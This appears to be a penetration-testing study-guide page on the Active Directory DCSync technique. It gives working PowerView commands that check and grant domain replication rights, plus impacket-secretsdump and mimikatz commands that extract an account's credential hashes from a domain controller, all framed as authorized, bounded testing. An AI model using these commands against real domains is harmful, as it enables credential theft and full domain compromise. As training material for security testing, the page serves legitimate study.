Use validated directory replication rights for bounded credential proof

Needs: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient

Validate ACLs at the domain root

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

# Validate ACLs at the domain root
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }

# Baseline
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Request one approved test account rather than dumping the directory

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

# Request one approved test account rather than dumping the directory
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
  'DOMAIN/USER:PASSWORD@DC_HOST'

Mimikatz equivalent from an authorized Windows context

# Mimikatz equivalent from an authorized Windows context
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER

Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.

Verify → Verify the replication source, account and material type; avoid equating a tool label with proven rights.

If it fails → RPC route, identity context and missing replication rights produce different failures; verify each prerequisite. More detail ↓

If → then

An NT verifier from an appropriate credential source → Recover or reuse an NT password hash
Needs: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
Needs: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Access, privilege, identity or route changes, or a report will need reproduction → Capture state-transition, proof and exploit-adaptation evidence
Needs: Known destination/identity, observable effect and a private evidence destination; actual exam proof requirements must be read from current official guidance

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use validated directory replication rights for bounded credential proof

USE WHEN: A principal has the relevant effective replication rights at the domain naming context
STARTING ACCESS: A domain identity, appropriate host privilege, or a validated effective directory-object right
RESULT: Selected domain credential material retrieved through directory replication

Recognize the clue

Inspect the domain naming-context ACL and resolve replication-specific extended rights for the controlled identity/group.

Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs

SYNTHETIC EXAMPLE OUTPUT

Applicable domain ACEs:
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Trustee: CONTROLLED_PRINCIPAL

Means: Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.

Confirm: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.

After validation: The required rights and route produce the bounded selected-account proof: choose DRS replication.
Ruled out in this context: The ACE applies only to a user/OU or lacks required replication rights: reject DCSync.
Still inconclusive: Unresolved GUIDs or RPC filtering leave rights/access separately unknown.

Troubleshooting: RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

Validate ACLs at the domain root:

A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

Request one approved test account rather than dumping the directory:

Mimikatz equivalent from an authorized Windows context:

Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.

Why it works

DCSync uses the replication protocol instead of reading a local LSASS process or copying NTDS. Its authorization comes from domain replication rights, not an arbitrary local administrator token.

Worked example · hypothetical

Observation: a controlled identity has the required domain replication rights. Test: verify effective rights and request only the selected proof account through the documented mechanism. Illustrative output: that account's credential material returns. Interpretation: classify and retain it privately.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗